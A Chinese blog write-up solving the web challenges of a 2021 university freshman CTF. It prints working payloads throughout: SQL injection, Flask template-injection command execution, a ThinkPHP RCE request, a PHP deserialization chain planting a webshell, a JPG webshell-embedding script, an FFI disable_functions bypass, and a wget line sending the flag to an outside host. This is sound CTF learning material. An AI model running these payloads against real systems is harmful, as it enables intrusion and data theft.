2021暨南大学CTF新生杯(Web篇)

收获颇多~ 边学边做 上战果!

我查了不少的资料

复盘的时候我又一个个翻看我的历史记录

因为我花了很多时间去阅读找灵感!但我不想用完就丢弃了!

image-20211130182836027

【1星🌟】baby_sql

  • 爆数据库

python2 sqlmap.py -r ./sql.txt --db

image-20211122102955877

  • 爆表名

python2 sqlmap.py -r ./sql.txt -D babysql --tables

image-20211122103126797
  • 爆列

python2 sqlmap.py -r ./sql.txt -D babysql -T flag --columns

image-20211122103226384
  • 爆数据

python2 sqlmap.py -r ./sql.txt -D babysql -T flag -C ‘flag’ --dump

image-20211122103342405

【3星🌟】checkin

相关链接

相关链接🔗

弱语言判断

b[0]=C&b[2]=F&b[1]=T

image-20211122105940698

科学技术法绕过

考的科学技术法

$num2 = ‘9e9’;

image-20211122110627008

字符串绕过

md5a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20211122112519182

image-20211122115454152

【1星🌟】baby-upload

送分

image-20211122151602383

【2星🌟】baby-unserialize

绕过wake_up

wake_up无法复现,但是知道考点在最后更改就好了

十六进制绕过

绕过flag是可以用反序列化出发16进制的编译

image-20211122190911483

【2星🌟】easy-sql

构建tamper

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('union' , 'uniunionon')
    payload= payload.replace('select' , 'selselectect')
    payload= payload.replace('where' , 'whewherere ')
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('ro' , 'rroo')
    payload= payload.replace('flag' , 'flflagag')
    payload= payload.replace("'" , '"')
    # payload= payload.replace('from' , 'frfromom')
    # payload= payload.replace('information' , 'infoorrmation')
    # payload= payload.replace('and' , 'anandd')
    # payload= payload.replace('by' , 'bbyy')
    retVal=payload
    return retVal

payload = '" union select 1,2,(select flag from easysql.flag) #'
res = tamper(payload)
print(res)

手动注入

找到注入点以及类型

发现是 双引号才行

  • 验证联合注入 查看字段

admin" uniunionon selselectect 1,2,3 #

  • 查看数据库

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(schema_name) frroom infoorrmation_schema.schemata) #

image-20211123173750215
  • 查看表名字

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(table_name) frroom infoorrmation_schema.tables whewherere table_schema=“easysql”) #

image-20211123173943111
  • 获列名

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(column_name) frroom infoorrmation_schema.columns whewherere table_schema=“easysql” and table_name=“flflagag”) #

image-20211123174112514
  • 获取flag

admin" uniunionon selselectect 1,2,(selselectect flflagag frroom easysql.flflagag) #

image-20211123174600964

【2星🌟】easy_js

处理十六进制的JS源码

# res  = bytes(b'123abc\xe5\xa5\xbd').decode('utf-8')
# print(res)


with open('/Library/MyMac/CTF/py脚本/test.js', 'r') as f:
    s = f.read()  # 读不读取都没关系,耿直点直接重新赋值
    s = """
			# 这个直接复制粘贴
    """
    res  = bytes(s, encoding = "utf8").decode('utf-8')
    print(res)

阅读JS源码

image-20211123175102957

控制台修改

将window.H1 = 99999998

手动点一下 触发得到flag

这里注意 依序要 > 99999999

因为到了 99999999 才会触发

【2星🌟】easy-upload

伪造后缀名字

老规矩自己搭建个环境看看,发现与sql道理一摸一样

<?php
// 设置黑名单
$blacklist = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "htaccess", "ini"); 
$file_name = trim($_FILES['upload_file']['name'], " \t\n\r\0\x0B."); // 出去文件名两边
echo '文件名字:'.$file_name.'</br>';
// strrchr($file_name, '.')  1.php => .php  2.php.php2 => .php2
// substr(strrchr($file_name, '.'), 1); 2.php.php2 => php2 
$file_ext = substr(strrchr($file_name, '.'), 1);  // 获取后缀名字
echo '文件后缀:'.$file_ext.'</br>';
$file_ext = strtolower($file_ext); // 全部转换为小写
$file_ext = trim($file_ext, " \t\n\r\0\x0B.");  // 去除后缀名左右的符号
$file_ext = str_ireplace($blacklist, "", $file_ext);  // replace文件名
echo '过滤后的文件名后缀:'.$file_ext.'</br>';

$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = "uploads" . '/' . md5(time()) . "." . $file_ext;
echo '文件路径:'.$img_path.'</br>';

echo '<form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file" /><input class="button" type="submit" name="submit" value="上传" /></form>';

上传一句话以及菜刀

image-20211123183828169

拿到flag

image-20211123183901760

【4星🌟】easy-rce

仅能函数执行?

考的 无参数rce

参考链接🔗

CTF中的无参数RCE

【CTF竞赛】无参数RCE总结

无参数函数执行

Byte CTF web1 boring_code Writeup

两处:

  • 第一处意味着这个是rce无参数并且函数执行

  • 第二处意味着很多不能使用

用时间来获取到46转为.

image-20211124010019834

回报长度2393 发现目标文件存在相同路径下

先把注释部分打开 看时间在20左右开始跑,跑到55停住

发现根目录不存在而在网站根目录中

import requests
from tqdm import tqdm
import time

# shell=var_dump(scandir(chr(ord(chr(time())))));
def log(location, text):
    with open(location, "a+", encoding='utf-8') as f:
        f.write(text)

path = '/Library/MyMac/CTF/py脚本/'
url = 'http://35.229.138.83:12807/'
d = {'shell': 'show_source(end(scandir(chr(ord(chr(time()))))));'}

# 检测时间
# t = int(time.time()) % 256
# print(t)

lengthList = []
for x in tqdm(range(1000)):
    t = int(time.time()) % 256
    print(t)
    r = requests.post(url, data=d)
    if len(r.text) not in lengthList:
        lengthList.append(len(r.text))
        if 'flag' in r.text:
            print('flag出现')
        log(path + 'getFileContent2.txt', str(len(r.text)) + '\n')
        log(path + 'getFileContent2.txt', str(r.text) + '\n')
        log(path + 'getFileContent2.txt', '\n')
print('Done')
print(lengthList)
image-20211123223226517

我该怎么绕过读取文件呢?

我翻遍了file函数,基本要么需要2个参数,要么要指针才行

我吐了。一直卡在最后一步,结果灵光一闪,我不去读,我显示出来就好了

show_source 或者 hightlight 不就出来了吗?!

image-20211124010505665

【3星🌟】easy-unserialize

字符逃逸

考点就单一了

但是我也不会呀!!

学了好久 懂了为什么以及怎么绕过去了

直接看图吧!

  • 搭建环境
image-20211124171427571
  • 手动写逻辑,找出注入点
// PHP反序列化字符逃逸过滤后字符变少
// 参考链接 https://www.freebuf.com/articles/web/285985.html
// 目标payload为触发getflag类
// 开始构造 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}'
// 我们要通过字符逃逸使unserialize同是反序列化2个
// 我们想要的是类似这种效果
// O:3:"tmp":2:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:"    ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php    ";}"
// 在这里人为构造的payload: ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php
// 后来发现不成功 而是在A中触发B 而非能反序列化2个
// $test = 'O:3:"tmp":1:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:";},O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}"';

// 验证2个
// O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}
// O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}
$test1 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}';
$test2 = 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:" ;s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}} ";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:21:"easy";s:4:"str2";s:4:";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
// $str2 = ';s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}'
// $str1 = 'easy'
// unserialize($test3);
// var_dump(unserialize($test3));
  • 验证拿Flag
image-20211124171729362 image-20211124171750038

相关文章链接

【2星🌟】ezPy

基本套路flask模版注入套路

参考链接:

python 沙箱逃逸与SSTI

flask之ssti模版注入从零到入门

从零学习flask模板注入

都是套路了,要知道几个几个注入基础

  • class
  • base
  • mro
  • subclasses
  • init
  • globals
image-20211124212913522
// 都是套路但是不要心急 一步步走来看
name={{"".__class__.__bases__[0].__subclasses__()}}
name={{"".__class__.__mro__[0].__subclasses__()}}
name={{"".__class__.__mro__[1].__subclasses__()}}
name={{"".__class__.__mro__[2].__subclasses__()}} # 报错

发现敏感函数

发现函数os._wrap_close寻下标

string = "耿直点直接复制下来"
stringList = string.replace('[','').replace(']','').split(',')
print(len(stringList))
for index,each in enumerate(stringList):
    if 'os._wrap_close' in each:
        print(f'下标为%d'%index)

设置为全局然后执行cmd

?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('ls ./').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /flag').read()}}

拿到flag

image-20211124213453955

【3星🌟】simple_php

拿到备份文件

ctf常见源码泄露

提示说 哦豁我的电脑不小心黑屏了

然后翻看源码 也没啥hint

然后就去试备份文件

无数字字母过滤

参考链接🔗

无字母数字webshell总结

由一道题引发的对无字母数字WebShell的思考

不包含数字字母的webshell

创造tips的秘籍——PHP回调后门

CTF一道web题小结-无数字字母getFlag()

ctf中常见php rce绕过总结

从一道CTF题理解无字母数字RCE

无字母数字webshell之提高篇

一些不包含数字和字母的webshell

preg_match绕过总结

PHP利用PCRE回溯次数限制绕过某些安全限制

最难的部分

当时我拿到这个时候已经人傻了

相当于啥都过不去

然后发现是

<?php
function getflag(){
    echo '开始执行getflag函数';
}
$code = $_GET['code'];
echo '当前的code:'.$code.'</br>';
echo '当前长度:'.strlen($code).'</br>';
if(strlen($code)>14){
    die("too long !");
}
// 发现fuzz
// ~ ( ) - \ | ; : / 空格 %
if(preg_match('/[a-zA-Z0-9_&^<br>"\'$#@!*&+=.`\[\]{}?,]+/',$code)){
    die(" No ! No !");
} 
echo '开始执行'.$code.'</br>'; 
@eval($code);

// 找~
// $a = (~getflag);
// echo $a.'</br>';
// echo urlencode($a).'</br>';
// $b = ~$a;
// echo $b.'</br>';
// %98%9A%8B%99%93%9E%98
image-20211125131655770

最后的payload http://127.0.0.1:82/?code=(~%98%9A%8B%99%93%9E%98)();

image-20211125131751981

【2星🌟】thinkphp

查询Tp版本号

直接随便输入点看版本

Thinkphp-RCE-POC 合集仓库查看

image-20211125132150088

套路直接拿下

这种题都是套路了,直接放payload

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.220.141:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

// 2个点
// POST /index.php?s=captcha
// _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
image-20211125132441458 image-20211125132823255 image-20211125132854389

【4星🌟】ezpop

这个就舒服多了 代码审计 一步一步POP链就好了

为了能复现看到 源码放出来!

然后也顺便放一下我是如何debug一步步出来的

<?php
error_reporting(0);
class openfunc{
    public $object;
    function __construct(){
        $this->object=new normal();
    }
    function __wakeup(){
        $this->object=new normal();
    }
    function __destruct(){
        $this->object->action();
    }
}
abstract class hack {

    abstract public function pass();

    public function action() {
        $this->pass();
    }
}
class normal{
    public $d;
    function action(){
        echo "you must bypass it";
    }
}
class evil extends hack{
    public $data;
    public $a;
    public $b; 
    public $c;
    public function pass(){
        $this->a = unserialize($this->b);
        $this->a->d = urldecode(date($this->c));
        if($this->a->d === 'shell'){
           $this->shell();
        }
        else{
            die(date('Y/m/d H:i:s'));
        }
    }
    function shell(){
        if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
            die("you die");
        }
        $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
        if(!file_exists($dir)){
            mkdir($dir);
        }
        echo $dir;
        file_put_contents("$dir" . "hack.php", $this->data);
    }
}

if (isset($_GET['Xp0int']))  
{
    $Data = unserialize(base64_decode($_GET['Xp0int']));
} 
else 
{ 
    highlight_file(__file__); 
}
// 这里都是我一步步弄出来的
// 自己搭建个小服务器 来弄呗!
<?php
abstract class hack {

    abstract public function pass();

    public function action() {
        $this->pass();
    }
}

class normal{
    public $d;
    function action(){
        echo "you must bypass it";
    }
}

// 链尾
class openfunc{
    public $object;
    function __construct(){
        $this->object=new normal();
    }
    // function __wakeup(){  // 反序列化开始调用  // 这里用<7.0.1的漏洞不触发__wakeup就行
    //     echo 'openfunc开始苏醒了。';
    //     $this->object=new normal();
    // }
    function __destruct(){  // 销毁开始调用
        echo 'openfunc开始销毁了。</br>';
        $this->object->action();
    }
}

class evil extends hack{
    public $data;
    public $a;
    public $b; 
    public $c;
    public function pass(){
        echo '我们来到了pass()咯</br>';
        $this->a = unserialize($this->b);  //b应该是反序列化了normal()
        var_dump($this->c);
        $this->a->d = urldecode(date($this->c));  // 给normal()的d属性赋值转转下来为shell
        echo '$this->a->d:'.$this->a->d.'</br>';
        // urldecode('shell')  === 'shell'
        if($this->a->d === 'shell'){
           $this->shell();   // 要做到这里
        }
        else{
            echo '挂掉了';
            die(date('Y/m/d H:i:s'));
        }
    }
    function shell(){
        echo '开始执行shell(),当前的$this->data:'.$this->data.'</br>';
        if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
            die("you die");
        }else{
            echo '即将把:'.$this->data.' 写入文件</br>';
        }
        file_put_contents("./hack.php", $this->data);  // 要把一句话写进来
    }
}

// 入口
// if (isset($_GET['Xp0int']))  
// {
//     // 先base64解码一遍
//     // 开始反序列化
//     // $Data = unserialize(base64_decode($_GET['Xp0int']));
//     $encode = 'Tzo4OiJvcGVuZnVuYyI6MTp7czo2OiJvYmplY3QiO086NDoiZXZpbCI6NDp7czo0OiJkYXRhIjtzOjcwOiI8PyA9IHVybGRuY29kZSgnJTY1JTc2JTYxJTZjJyk7PSB1cmxkbmNvZGUoJyU1ZiU1MCU0ZiU1MyU1NCcpOz0kOygpOz8+IjtzOjE6ImEiO047czoxOiJiIjtzOjI3OiJPOjY6Im5vcm1hbCI6MTp7czoxOiJkIjtOO30iO3M6MToiYyI7czoxMDoiXHNcaFxlXGxcbCI7fX0=';
//     unserialize(base64_decode($encode));
//     var_dump($encode === $_GET['Xp0int']);
//     var_dump($_GET['Xp0int']);
//     unserialize(base64_decode($_GET['Xp0int']));
// } 
// else 
// { 
//     highlight_file(__file__); 
// }



// eval(@$_POST['a']);
$data = "1";
// $len = strlen($data);
// $shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// $shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// $encode2 = base64_encode($shell2);
// echo '绕过wakeUP'.'</br>';
// var_dump($encode2);
// echo '此时的shell: '.$shell.'</br>';
// // echo '此时的shell: O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:70:"<?$_ = urldncode('%65%76%61%6c');$__= urldncode('%5f%50%4f%53%54');$___=$$__;$_($___[_]);";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'.'</br>';
// // $bypass = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// // echo 'base64编码后:'.base64_encode($bypass).'</br>';
// unserialize($shell);
// $encode = base64_encode($shell);
// var_dump($encode);
// unserialize(base64_decode($encode));




// 肯定是反序列化openfunc
// 绕过normal类的触发hack的action()或者是子类evil的action()
// 通过CVE漏洞绕过

// 处理evilabcd
// data绕过写入文件



$data = "<?=passthru('cp /ff* ../1.txt');?>";
$len = strlen($data);
$shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$encode2 = base64_encode($shell2);
var_dump($encode2);
$encode = base64_encode($shell);
unserialize(base64_decode($encode));

参考链接🔗

PHP反序列化由浅入深

PHP反序列化—构造POP链

CTF 之 绕过限制利用curl读取写入文件

探索php伪协议以及死亡绕过

PHP利用PCRE回溯次数限制绕过某些安全限制

无字母数字webshell总结

POP链接寻找入口

反序列化 openfunc

CVE漏洞绕过__wakeup()

绕过normal类的触发hack的action()或者是子类evil的action()

$this->a->d 寻找突破口

urldecode 怎么绕? 官方手册写了的 加\

$this->a = unserialize($this->b);  //b应该是反序列化了normal()
var_dump($this->c);
$this->a->d = urldecode(date($this->c));  // 给normal()的d属性赋值转转下来为shell
echo '$this->a->d:'.$this->a->d.'</br>';

可执行绕过写入文件

这种过滤最不可怕!

因为总存在骚操作函数然后过去咯!

明白<=><?> 的含义

最后确定了passthru 执行

注意点⚠️

必须再用burp进行url编码

不然base64_encode后的+会被浏览器识别为空格

别问我为什么知道 burp对比器发现了华点!一个字节呀!

$data = "<?=passthru('cp /ff* ../1.txt');?>";
$len = strlen($data);
$shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$encode2 = base64_encode($shell2);
var_dump($encode2);
$encode = base64_encode($shell);
unserialize(base64_decode($encode));
  • 发现flag并拿到
image-20211126021556279 image-20211126022759443

【4星🌟】PictureGenerator

说个搞笑的哈,他提供的源码我竟然没用上,因为我发现了原题(bushi

但是跟原题又不同!

发现原题?

参考链接

RaRCTF 2021 WriteUps

lemonthinker合集

当我随便写了一个 生成了图片后 发现了关键词 lemonthink

然后我就去找WriteUp了

一个是远程包含~好的根本没用

一个是$()开始执行 好的过滤…

这个时候就陷入了僵局~

(因为本人太菜 还不知道类似$()的)

命令执行绕过

参考链接🔗

CTF中命令执行绕过方法

CTF—命令执行总结

浅谈命令执行的绕过方法

Linux 中 shell 中反引号与 $() 的对比

然而看了源码就知道了

要linux执行,然后就去找呀找~(都是PHP那边的)

我甚至用了f-string的特性 尝试16进制绕过

直到我看到了反引号!!

好的成功过去了!

不能存在flag 过滤了$ 过滤了"

image-20211129231521488

限制长度阅读FLAG

我尝试

$(cat ./fla* | xargs -I{} wget "https://hengyimonster.top/hacker/get.php/?info={}")失败

awk -F{ '{print $2}' /flag 失败

最后是要读取字节且不能存在flag

因为是图片 所以没法抓包 手动~

// 害怕超过长度 结果这么长
payload: `cat /flag | cut -b 1`
payload `cat /flag | cut -b1-4`
5-10 {fhfgu
11-15 fghui
16-20 _ewft
21-25 ftdf_
26-30 whfdw
31-35 eyidg
36-40 _gafd
41-45 hjasd
46-50 h_egh
51-55 fhef_
56-60 rhgfj
61-65 rikfu
66-70 !!!!}

// 大胆点 因为图片会挡住  
payload `cat /flag | cut -b5-20` ...

// flag
{fhfgufghui_ewftftdf_whfdweyidg_gafdhjasdh_eghfhef_rhgfjrikfu!!!!}

【5星🌟】imgBed

初次尝试

下面的参考链接都是我边做边学的 人已经傻掉了

当我拿到这道题的时候,我最开始以为是二次注入

反正以为是SQL注入,拿到管理员的权限~

就先正常注册个账号,正常登陆看看了。

进去看见上传图片? RCE?

上传个图片看看(一句话木马~)

哦豁直接找不到404返回了🔙 怎么办呢?

RCE远程读取文件

参考链接🔗:

CTF-WEB:PHP 伪协议

从CTF学习文件包含

CTF-文件包含漏洞

一些CTF 做题的tricks

PHP伪协议总结

浅析php文件包含及其getshell的姿势

我看URL带参数?

随便敲个1 ~哦豁~include!!

这不就来了吗?

image-20211129204347796

然后我尝试下远程包含,为了防止阿里云发短信说我服务器存在后门,就先随便包含个~

成功被禁止了~

image-20211126093450165
$ payload  php://filter/read=convert.base64-encode/resource=./upload.php
image-20211126124910304

开始代码审计

参考链接🔗

Upload-labs 20关通关笔记

我拿到了upload.php 以及 class.php

index.php 好像超出范围了

一步步分析发现是个二次渲染

这也就解释了为什么我会找不到我的图片了~~

具体的函数 自己百度下~PHP操作手册写的很清楚啦!😊

image-20211128223220638

二次渲染如何破?

参考链接🔗

upload-labs之pass 16详细分析

发现是个二次渲染的问题

二次渲染查资料后gif最适合

上面那个🔗很好的诠释了GIF

// 我最开始写在了最后面

<?php phpinfo();?>
  
// 会发现GIF会生成成功 但是重新下载下来就已经不见了
  
// 然后我用Burp的对比器进行对比~
// 发现了只要把注入写到头部末尾就没问题
// 见下图
image-20211128223506935

同样的~ JPG也行,脚本我贴出来哈~

但是生成的图片不一定成功,记得在多试试~

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

食用方法 :php jpg_payload.php 1.jpg 上传图片成功

因为包括php文件, 用action包含成功执行

查看Phpinfo后,发现FFI可以Bypass(根据题目的提示 发现FFI是OPEN的)

此时再去看会发现很多函数都是禁止的~那么进入下一段!

image-20211126133856773

Disable Functions && FFI

参考链接🔗

PHP FFI详解 - 一种全新的PHP扩展方式

绕过Disable Functions来搞事情

从RCTF nextphp看PHP7.4的FFI绕过disable_functions

bypass disable_function多种方法+实例

常见 Bypass Disable Functions 的方法总结

绕过Disable Functions来搞事情

<?php
// 写在gif中的payload
$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数
$ffi ->system("ls / > /tmp/res.txt");   # 执行ls /命令并将结果写入/tmp/res.txt

?>

上面的GIF图里面就是Bypass执行的命令

到这里了我简单说一下

首先file_put_content是可以写入php的

但是eval没法执行,蚁剑是没法链接的

然后写了远程包含啥的 当然都没禁止了 没意思😭

然后的话 linux的可以执行写文件啥的

发现可以直接写文件,但是怎么都不能读取flag

那么进入最后的坑~

ELF可执行文件

参考链接🔗

Linux花式读取文件内容的几个命令

CTF中的命令执行绕过方式

命令执行到提权

利用通配符进行Linux本地提权

Linux可执行文件elf分析

GKCTF-WEB题目部分复现

到最后一步了~

我用命令cat / | tee ./1.txt 然后浏览1.txt发现了flag

正当我满心欢喜以为做出来了 结果才是噩梦!

怎么都读不到 然后拿readflag结果是下载8K的文件?我人傻了

然后我就灵感一闪~去看我是谁以及权限

image-20211128224202599 image-20211128224222423

直接好家伙 要提权? 用了sudo尝试了下 好吧我是xx

直到我看见了ELF文件是可执行的!!

那我刚才把readflag下载下来并且丢到kail中分析

不就是ELF文件吗??!!!

但是这个文件怎么用呢??开始查找!

直到 /readflag > /tmp/1

然后再 cat /tmp/1 | tee ./2.txt

卧槽! 出了!

【杂七杂八】拓展链接

在我做题的时候我属于边学边做,找到了一些不错的链接🔗

下来写复盘的话,生怕浏览记录没了,一个个筛选

陆陆续续写的 有的内容相似重复啥的 见谅~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值